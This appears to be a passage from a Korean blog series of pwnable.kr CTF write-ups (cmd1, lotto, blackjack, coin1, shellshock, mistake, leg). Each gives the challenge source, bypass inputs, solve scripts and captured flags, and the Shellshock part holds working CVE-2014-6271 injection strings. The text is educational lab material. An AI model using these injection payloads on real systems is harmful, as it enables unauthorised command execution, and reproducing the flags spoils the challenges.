int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

main 함수의 argc, argv는 익숙하지만

envp 변수는 낯선 분들이 계실겁니다.

envp 변수는 실행 환경변수를 전달하는 인자로

프로그램 내에서 환경변수 데이터를 확인할 수 있도록 합니다.

putenv 함수를 통해

PATH 환경변수의 내용을 변경하고

filter 함수를 사용해

flag, sh, tmp 세 단어를 필터링 하고 있습니다.

여기서 PATH는, 리눅스 및 기타 유닉스 시스템에서

사용하는 환경변수인데요.

쉘을 사용하여 프로그램을 실행할 때에

바이너리가 존재하는 경로를 PATH에 등록해 두면

절대경로를 모두 입력하거나

해당 폴더에 있지 않아도

바이너리 파일명만을 사용하여

간편하게 호출할 수 있도록 합니다.

덕분에 평소 리눅스에서

Bash 등을 사용하여

/bin 폴더에 존재하는 cat, ls 등의 명령어들을

절대경로를 이용하지 않고

마치 빌트인 함수인것 마냥

간편하게 사용할 수 있는 것이지요.

cmd1@ubuntu:~$ ./cmd1 "cat"
sh: 1: cat: not found

따라서 PATH를 변경해버린

cmd1에서는 /bin 폴더 내에 속한

cat 등의 바이너리를 자동으로 탐색해 주지 않으므로

파일명 만으로 호출이 불가능합니다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat flag"
cmd1@ubuntu:~$

따라서 절대경로를 이용해 프로그램을 호출해 주면 되는데

filter 함수를 통해, 인자에 flag가 속한 경우

프로그램이 종료되어 버리므로

플래그를 얻을 수 없습니다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat fl''ag"
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*g"

애스터리스크를 사용해

문자열 일부를 생략시키거나

중간에 더블 콜론 등을 끼워넣는 것으로

우회할 수 있었습니다.

Lotto 문제풀이

POSIX — Sun, 10 Feb 2019 09:55:53 +0900

Mommy! I made a lotto program for my homework.
do you want to play?


ssh lotto@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 13번 문제

로또 프로그램에 관한 문제로

ssh 계정이 주어집니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf("Lotto Start!\n");
        //sleep(1);

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }

}

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}

소스코드를 열람할 수 있는데

6자리의 로또 프로그램으로

랜덤으로 생성된 데이터와

사용자가 입력한 데이터가 일치하면

플래그가 출력됩니다.

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
}
for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
		for(j=0; j<6; j++){
				if(lotto[i] == submit[j]){
						match++;
				}
		}
}

리눅스에서 의사난수를 생성하는

특수파일 /dev/urandom을 사용하여

1 ~ 45 범위의

6바이트를 구성하도록 되어 있습니다.

본래의 로또라면

사용자 입력을 받은 후

그 둘을 대조해 전체가 동일하면

플래그를 출력하는것이 옳겠지만

코딩 오류로 인해

단 하나만 동일하면 2중 for 문 안에서

match 값이 6이 되어

플래그를 출력합니다.

- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ######
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(

따라서 1 ~ 45 범위의 아스키코드를

가지는 반복 문자열을 계속해서 등록하면

높은 확률로 플래그가 출력됩니다.

The random number generator gathers environmental noise from device drivers and other sources into an entropy pool. The generator also keeps an estimate of the number of bits of noise in the entropy pool. From this entropy pool random numbers are created.

When read, the /dev/random device will only return random bytes within the estimated number of bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high quality randomness such as one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.

A read from the /dev/urandom device will not block waiting for more entropy. As a result, if there is not sufficient entropy in the entropy pool, the returned values are theoretically vulnerable to a cryptographic attack on the algorithms used by the driver. Knowledge of how to do this is not available in the current unclassified literature, but it is theoretically possible that such an attack may exist. If this is a concern in your application, use /dev/random instead.

의사난수를 발생시키는 리눅스 파일 시스템에는

/dev/urandom 이외에도 /dev/random이 존재합니다.

둘은 모두 같은 엔트로피 풀에서 파생되는데요.

/dev/random이 더욱 안전하지만

/dev/urandom는 많은양의

난수를 생성해도 성능 저하가 덜하다고 합니다.

Blackjack 문제풀이

POSIX — Sun, 10 Feb 2019 09:25:52 +0900

Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?


Running at : nc pwnable.kr 9009

Toddler's Bottle 12번 문제

블랙잭 게임의 소스코드와

Netcat 접속을 위한 주소가 주어집니다.

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

사이트에 접속하면

대략 800줄 길이의 소스코드를 확인할 수 있는데

1포인트 문제인만큼, 소스 코드에

심각한 오류가 포함되어 있습니다.

게임에 사용할 배당금을

소지금 이상으로 등록하지 못하도록 해야 하는데

그 검증을 1회만 수행하며

반복 입력에 대해서는 대처하지 못하고 있는 상황입니다.

Cash: $500
-------
|S    |
|  4  |
|    S|
-------

Your Total is 4

The Dealer Has a Total of 10

Enter Bet: $1000000

You cannot bet more money than you have.
Enter Bet: 1000000

따라서 2회 반복하여 소지금 이상의

배당금을 제시하면 결국 등록에 성공하고

YaY_I_AM_A_MILLIONARE_LOL


Cash: $1000500
-------
|D    |
|  J  |
|    D|
-------

Your Total is 10

The Dealer Has a Total of 8

Enter Bet: $

승리 시에 배당금 만큼의 금액을 휙득하고

새롭게 게임을 시작하면

상단에 플래그의 확인할 수 있습니다.

Coin1 문제풀이

POSIX — Sat, 9 Feb 2019 12:39:22 +0900

Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

Toddler's Bottle 11번 문제

이 문제는 보안 문제라기 보다는

코딩 문제에 가깝습니다.

알고리즘을 배우고 한동안 쓸일이 없었는데

활용할 기회가 생겨 즐겁더군요.

fd@ubuntu:/tmp/Posix/coin1$ nc localhost 9007

        ---------------------------------------------------
        -              Shall we play a game?              -
        ---------------------------------------------------

        You have given some gold coins in your hand
        however, there is one counterfeit coin among them
        counterfeit coin looks exactly same as real coin
        however, its weight is different from real one
        real coin weighs 10, counterfeit coin weighes 9
        help me to find the counterfeit coin with a scale
        if you find 100 counterfeit coins, you will get reward :)
        FYI, you have 60 seconds.

        - How to play -
        1. you get a number of coins (N) and number of chances (C)
        2. then you specify a set of index numbers of coins to be weighed
        3. you get the weight information
        4. 2~3 repeats C time, then you give the answer

        - Example -
        [Server] N=4 C=2        # find counterfeit among 4 coins with 2 trial
        [Client] 0 1            # weigh first and second coin
        [Server] 20                     # scale result : 20
        [Client] 3                      # weigh fourth coin
        [Server] 10                     # scale result : 10
        [Client] 2                      # counterfeit coin is third!
        [Server] Correct!

        - Ready? starting in 3 sec... -

N=664 C=10

주어진 포트로 Netcat을 사용해 접속하면

게임에 대한 설명이 나옵니다.

간단히 요약하면

주어지는 N개 동전 중에 섞여있는

무게가 9인 가짜 동전 하나를

C번 만에 찾아내면 되는 게임입니다.

다만 60초 안에 100번을 찾아내야 하니

인간의 손으로는 불가능 할 것 같군요.

format error

참고로 문제 설명에 제시되지는 않았지만

동전을 찾아내는 것은 마지막 찬스여야만 합니다.

그 이전에 동전을 찾아서 번호를 입력해도

무게만 출력될 뿐이지요.

또한 가짜 동전을 마지막 기회에서

무게를 조회하겠다고

다수의 코인 번호를 입력하면

위와 같이 형식 오류가 뜹니다.

#! /usr/bin/python

from pwn import *
import re
import sys

p = re.compile('N=(\d+) C=(\d+)')

def range_sum(begin, end):
		query = ' '.join(str(i) for i in range(begin, end))
		
		conn.writeline(query)
		res = conn.readline()
		
		if res.find('Correct!') != -1 or int(res) == 9:
			while res.find('Correct!') == -1:
				conn.writeline(query)
				res = conn.readline()
			
			sys.stdout.write(res)
			return -1
		
		return int(res)

def find_counterfeit(begin, end):
	
	if begin + 1 == end:
		range_sum(begin, end)
		return -1
		
	mid = (begin + end) >> 1
	
	left_sum = range_sum(begin, mid)
	
	if left_sum == -1: return
	
	if left_sum != (mid - begin) * 10:
		find_counterfeit(begin, mid)
	else:
		find_counterfeit(mid, end)


if __name__ == '__main__':
	conn = remote('localhost', 9007)
	conn.read()

	sleep(4)
		
	while True:
		info = conn.readline()		
		m = p.search(info)
		
		if info == 'Congrats! get your flag\n':			
			sys.stdout.write(info + conn.read())
			break
		
		N = int(m.group(1))
		
		find_counterfeit(0, N)

이 문제는 이진탐색을 사용해 푸는 문제로서

C는 이진탐색을 사용해 반드시

답을 찾아낼 수 있는 값으로 지정됩니다.

만약 이진탐색 알고리즘을 사용해

스크립트를 작성했는데도

타임아웃 오류가 난다면

인터넷 지연에 의한 것일 확률이 높으므로

이전에 사용했던 pwnable.kr의 ssh 계정을

아무거나 이용하여 서버 내부에서 스크립트를 실행하도록 합시다.

fd@ubuntu:/tmp/Posix/coin1$ ./solve.py
[+] Opening connection to localhost on port 9007: Done
Correct! (0)
...
Correct! (98)
Correct! (99)
Congrats! get your flag
b1NaRy_S34rch1nG_1s_3asy_p3asy
[*] Closed connection to localhost port 9007

서버 내부에서 스크립트를 실행해

플래그를 휙득했습니다.

Shellshock 문제풀이

POSIX — Fri, 8 Feb 2019 12:11:27 +0900

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

쉘 쇼크는 2014년에 발표된

Bash 환경변수 설정 관련 취약점으로

동일년도에 발표된 하트 블리드 보다도

심각하다고 진단 되었습니다.

쉘쇼크 취약점이란 무엇인지

간단하게 개념 설명을 하고 넘어 가겠습니다.

shellshock@ubuntu:~$ foo() { echo hello; }
shellshock@ubuntu:~$ foo
hello

Bash 에서는 함수를 작성할 수 있습니다.

여타 언어들과 유사하게

중괄호 사이에 명령문을 삽입해 주는 것으로 선언이 가능한데

중괄호와 명령문 사이에 공백이 필요하다는 것을 제외하면

간단하게 사용이 가능합니다.

shellshock@ubuntu:~$ export foo='() { echo hello2; }'
shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ foo
hello2

함수를 환경변수 내에

선언하는 것도 가능합니다.

다만 바로 사용할 수 없고

환경변수에 함수를 선언하고

새롭게 서브쉘을 열어주면

부모쉘의 환경변수를 복사해 오는 과정에서

선언이 되는 것이지요.

HOME=/home/shellshock
LANGUAGE=en_US:
LOGNAME=shellshock
SSH_CONNECTION=61.84.181.30 50563 192.168.1.186 22
x=foo() { echo 123; }
XDG_RUNTIME_DIR=/run/user/1019
_=/usr/bin/env

명령문 실행시

부모쉘의 환경변수의 내용은 위과 같아지는데

x의 환경변수를 가져오는 과정에서

foo() { echo 123; }

이 실행되어 함수가 정의됩니다.

shellshock@ubuntu:~$ export foo='() { return; }; echo hello'
shellshock@ubuntu:~$ env | grep foo
foo=() { :; }; echo hello
shellshock@ubuntu:~$ ./bash
hello

문제는 함수 정의문 뒤에

명령문을 붙여넣을 경우에 발생합니다.

이미 중괄호가 닫혔기에

뒷 부분은 무시되어야 하지만

그렇지 못하고

함수에 속하지 않기 때문에

별도로 호출하지 않아도

서브쉘만 생성된다면 환경변수가 초기화되는 과정에서

뒤의 명령어는 실행됩니다.

env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]

추가로 환경변수를 설정하는 방법 중에는

env 라는 명령어도 존재하는데

환경변수 설정 후에 실행될 명령문을

뒤쪽에 추가하는 것이 가능합니다.

shellshock@ubuntu:~$ env x='() { :; }; echo hello' ./bash -c ''
hello

따라서 위와 같은 한 문장으로

환경변수 설정 및 서브쉘 생성을 동시에 할 수 있습니다.

추가로 함수 내부에 속한

: (colon)은 Bash의 빌트인 변수이며

관례적으로 true 를 대신해서 쓰이는 것으로

문장을 줄이기 위해 사용했습니다.

total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c

문제로 돌아와서, 파일을 조회해보면

추가로 Bash 바이너리가 존재합니다.

shellshock@ubuntu:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)

버전을 조회해보니 구버전으로

쉘쇼크 패치가 이루어지지 않은 상태였습니다.

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

소스를 살펴보면 system 함수를 사용해서

구버전 Bash를 통해 서브쉘을 생성하고 있습니다.

쉘쇼크를 적용할 수 있는 환경인 것이지요.

shellshock@ubuntu:~$ export x='() { :; }; /bin/cat ./flag'
shellshock@ubuntu:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!

환경변수에 플래그를 출력하도록

명령문을 집어넣은 후에 바이너리를 실행하자

플래그를 얻을 수 있었습니다.

shellshock@ubuntu:~$ env x='() { :; }; /bin/cat ./flag' ./shellshock

위에서 언급한 것과 같이

한 문장으로 축약하는 것도 가능합니다.

Mistake 문제풀이

POSIX — Fri, 8 Feb 2019 08:04:33 +0900

We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 9번 문제.

코딩 오류를 찾아내는 문제로

연산자 우선순위와 관련이 있습니다.

mistake@ubuntu:~$ ls -l
total 24
-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag
-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake
-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c
-r-------- 1 mistake_pwn root      10 Jul 29  2014 password

소스, 바이너리, 플래그 파일 이외에

패스워드 파일이 존재합니다.

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

언뜻 봐서는 별 문제 없어 보입니다,

패스워드 파일을 읽고, xor 1 을 한 후에

사용자 입력과 비교해서 같으면 통과시킬 것 같죠.

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
		printf("can't open password %d\n", fd);
		return 0;
}

하지만 잘 보면 무언가 이상한 점이 있습니다.

파일 디스크립터를 얻고, 유효한지 비교하는 부분에 말이죠.

open 함수로 파일 디스크립터를 얻고

fd 에 대입한 다음, fd 를 0 과 비교해

음수일 경우 파일을 여는데에

실패했다고 판단해서 종료해야 합니다.

그런데 C언어에서는 관계연산자가

대입연산자보다 우선순위가 높기 때문에

파일 디스크립터 < 0 의 불리언 값이 fd에 대입됩니다.

때문에 fd는 항상 0이라 종료될 리가 없지요.

결론적으로 fd는 0(STDIN)이 됩니다.

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
		printf("read error\n");
		close(fd);
		return 0;
}

read 함수가 참조하는

디스크립터는 STDIN 입니다.

따라서 우리가 입력을 하지 않으면

sleep 함수가 종료되어도

패스워드를 입력하라는 문장은 나타나지 않습니다.

어쩌면 이 부분에 혼동을 주기 위해서

sleep 함수를 넣은 것일지도 모르겠네요.

#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

사용자의 입력에 xor 1 을 수행하고 있습니다.

mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(

패스워드 파일 대신에 사용될

10 글자 입력을 해주신 후에

xor 1 한 문장을 재입력하면

플래그 휙득이 가능하겠습니다.

Leg 문제풀이

POSIX — Fri, 8 Feb 2019 03:45:56 +0900

Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 8번 문제.

ARM Assembly 의 반대를 Leg 라고 표현하는

고급 유머가 들어있습니다.

ssh 에 접속하게 되면

busybox 환경으로 기본 명령어들을 제외하고는

대부분 사용이 불가능하므로

소스를 읽고 풀어내야 합니다.

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb)

leg.c 에 key을 알아내는 부분을

어셈블리로 구성해 무슨 값인지 알기 힘듭니다.

/ $ uname -a
Linux (none) 3.11.4 #5 Sat Oct 12 00:15:00 EDT 2013 armv5tejl GNU/Linux

gcc, vc, clang 모두에서

돌려 보았는데 작동이 되질 않아서

무슨 일이지 했더니

자주보던 intel 어셈블리가 아닌

ARM 어셈블리였군요..

그래서 사용환경을 가상 busybox로 구성했나 봅니다.

   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3

arm 어셈블리에 대한 문서를 읽고보니

key 함수를 호출하고나서

r0 인자의 값을 사용하여 연산하고 있습니다.

intel x86 에서 eax 에 리턴값을 전달해 주는 것처럼

여기에서는 r0 레지스터가 그 역할을 하고 있나봅니다.

Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr

따라서 key 함수에서 r0에 값을 저장하는 값이

곧 리턴값이라는 것이지요.

따라서 key1 의 리턴값은

0x00008cdc 실행시의 pc 값이 됩니다.

pc 값을 구하는 데에 필요한 개념이 있습니다.

ARM 은 ARM7DMI 버전부터 파이프라인이라는 개념을 도입하여

실행 중인 다음의 명령어를 동시에 decode 하고

다다음의 명령어를 fetch 함으로서

실행 속도를 보다 효율적으로 하였는데요.

때문에 ARM 프로세서의 pc 값은 다다음 명령어의 주소값이 되겠네요.

This results in the typical ARM program being denser than expected with fewer memory accesses; thus the pipeline is used more efficiently.

The ARM processor also has features rarely seen in other RISC architectures, such as PC-relative addressing (indeed, on the 32-bit[1] ARM the PC is one of its 16 registers) and pre- and post-increment addressing modes.

The ARM instruction set has increased over time. Some early ARM processors (before ARM7TDMI), for example, have no instruction to store a two-byte quantity.

사실 여기에서 의문점이 하나 있습니다.

분명 3단계 파이프라인 개념이 도입된

arm7tdml 버전 이전에는 2 바이트 양을

저장하는 지침이 없었다고 하는데요.

그 이전 환경인 armv5teji 을 사용하는

이번 pwnable.kr 환경에서는

pc 값이 두 단계 앞에 있습니다.

혹시 이유를 아시는 분은 댓글로 달아주시면

감사하겠습니다.

Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr

다시 key1 함수로 돌아와서 보면

0x00008cdc 에서의 pc 값이 곧 리턴값이니

두 바이트 앞의 값인

0x00008ce4 가 key1()이 되겠군요.

Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr

다음은 key2 함수입니다.

윗 부분에 r6 를 다루는 부분이 있어

다소 헷갈렸는데

여기서 r0 는 0x00008d04 때의 pc 값 + 4 이며

r6 값과는 별 연관이 없습니다.

따라서 key2() 는 0x00008d08 + 4 인

0x00008d0c 가 되겠군요.

Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr

마지막 key3 함수입니다.

lr 값이 r0 가 되는데요.

ARM 어셈블리에서 lr 레지스터는

함수의 리턴 주소를 가리키므로

key3 함수 call 주소의 바로 뒷 주소가 되겠군요.

따라서 key3() 는 0x00008d80 가 되겠습니다.

>>> 0x00008d0c + 0x00008ce4 + 0x00008d80
108400

/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

모든 key 값을 합하여

제출하니 성공적으로 플래그를 얻을 수 있었습니다.

Input 문제풀이

POSIX — Thu, 7 Feb 2019 13:29:18 +0900

Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)

Toddler's Bottle 7번 문제.

설명대로 입출력 제어와 관련된 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

